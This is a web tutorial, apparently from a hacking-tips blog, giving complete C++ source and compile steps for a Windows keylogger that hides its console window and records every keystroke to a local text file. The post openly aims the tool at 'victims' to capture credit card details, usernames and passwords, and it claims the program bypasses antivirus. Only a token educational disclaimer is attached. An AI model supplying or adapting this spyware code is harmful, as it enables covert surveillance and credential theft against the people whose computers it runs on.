C++ Keylogger

A keylogger is a useful tool, you know that that’s why you are here. If the keylogger has the functionalities like running in the background by going in stealth mode, avoid antivirus detection, and can send an email, then it is the most dangerous tool for the victims PC. You can get his/her confidential data like credit card info, username, libariesEmail address, and passwords.

After sharing a tutorial on how to create a python keylogger, I decided to build another one using C++ for Windows OS. This C++ keylogger will run on any windows machine without any other libraries, unlike the python based keylogger where python must be installed on the victims Pc.

Disclaimer: This tutorial has been made for educational purposes only, Geekviews don’t promote malicious practices and will not be responsible for any illegal activities. Use it at your own risk.

In this tutorial, you will learn how to make a powerful c++ keylogger. If you know how to program then the code will be very easy to understand, don’t worry if you don’t know anything about programming still you can make your own C++ keylogger using this tutorial.

 

After successful compilation, the C++ keylogger can perform the following functions:

  • It will run in stealth mode.
  • It can bypass the antivirus.
  • It will store every keystroke in a text file.

Let’s learn, how to make a  C++ Keylogger:

In order to modify and compile the source, you will need a C++ IDE(integrated development environment), for this tutorial I will use Dev c++ because it is free, lightweight, and easy to use, feel free to use any other C++ IDE.

Download Dev c++ from here.

Install Dev c++ on your system, the installation process is very simple. Launch it after the installation the interface should look the image below. Go to the File option at the top you will see New from here choose Source file, or click on the middle of the IDE and press Ctrl+n.

c++ keylogger
  • Facebook
  • Twitter
  • Pinterest
  • LinkedIn
  • reddit

Here is the source code for the C++ Keylogger:

#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;

void StealthMode();
void StartLogging();

int main(){
    StealthMode();
    StartLogging();
    
    return 0;
}

void StartLogging(){
        char c;
    
    for(;;){
        
        for(c=8;c<=222;c++){
            if(GetAsyncKeyState(c)==-32767){
            
            ofstream write("Record.txt", ios::app);
            
            if(((c>64)&&(c<91))&&!(GetAsyncKeyState(0x10)) )
            {
                c+=32;
                write<<c;
                write.close();
                break;
            }
            else if((c>64)&&(c<91))
            {
                
                write<<c;
                write.close();
                break;
            }
            else {
                
                switch (c)
                {
                    case 48:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<")";
                        else
                            write<<"0";    
                        
                        
                        }   
                    break;
                    
                    
                    
                    case 49:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"!";
                        else
                            write<<"1";    
                        
                        
                        }   
                    break;
                    
                    case 50:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"@";
                        else
                            write<<"2";    
                        
                        }
                    break;
                    case 51:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"#";
                        else
                            write<<"3";    
                        
                        
                        }   
                    break;  
                    case 52:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"$";
                        else
                            write<<"4";    
                        
                        
                        }   
                    break;  
                    case 53:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"%";
                        else
                            write<<"5";    
                        
                        
                        }   
                    break;
                    case 54:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"^";
                        else
                            write<<"6";    
                        
                        
                        }   
                    break;
                    case 55:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"&";
                        else
                            write<<"7";    
                        
                        
                        }   
                    break;
                    case 56:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"*";
                        else
                            write<<"8";    
                        
                        
                        }   
                    break;
                    case 57:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"(";
                        else
                            write<<"9";    
                        
                        
                        }   
                    break;
                    
                    case VK_SPACE:
                        write<<" ";
                        break;
                    case VK_RETURN:
                        write<<"\n";
                        break;  
                    case VK_TAB:
                        write<<"  ";
                        break;
                   case VK_BACK:
                        write<<"<BACKSPACE>";
                        break;
                    case VK_DELETE:
                        write<<"<Del>";
                        break;  
                    
                    default:
                        write<<c; 
            }
                
                }
           
           }
        }
        }
}
void StealthMode(){
    HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
    
}

Copy all of the C++ keylogger Source code, and past it on the Dev C++ ide. To compile it go to the Execute option and choose Compile or press F9 function key, it will ask you for a location to save your keylogger .Choose your location and save it to start the compilation process.

C++ keylogger
  • Facebook
  • Twitter
  • Pinterest
  • LinkedIn
  • reddit

After successful compilation, you will see your keylogger in executable form in the folder you used to save during compiling the C++ keylogger source code.

C++ keylogger
  • Facebook
  • Twitter
  • Pinterest
  • LinkedIn
  • reddit
Now test your keylogger start the application, you nothing because it is coded to run in the stealth mode in the background. Open a browser and type something, and  go to the C++ keylogger folder you will see a text file called Record wich have the information you typed.

C++ keylogger
  • Facebook
  • Twitter
  • Pinterest
  • LinkedIn
  • reddit
C++ Keylogger
  • Facebook
  • Twitter
  • Pinterest
  • LinkedIn
  • reddit


It will keep running in the background unless you stop it. To close the C++ keylogger go to Task manager by pressing  Ctrl+alt+Del. Select the keylogger and choose Endtask.

C++ Keylogger
  • Facebook
  • Twitter
  • Pinterest
  • LinkedIn
  • reddit
Also read: How to hack  Android Phones.

 

3 COMMENTS

  1. It doesn’t work on anyone else’s computer because it’s not meant to. If you guys can actually read C++ there isn’t anything that implies that it would output back to you. The document with the keylogged text is likely stored on their PC, which means, you would have to infiltrate that PC, and get the file yourself.

LEAVE A REPLY

Please enter your comment!
Please enter your name here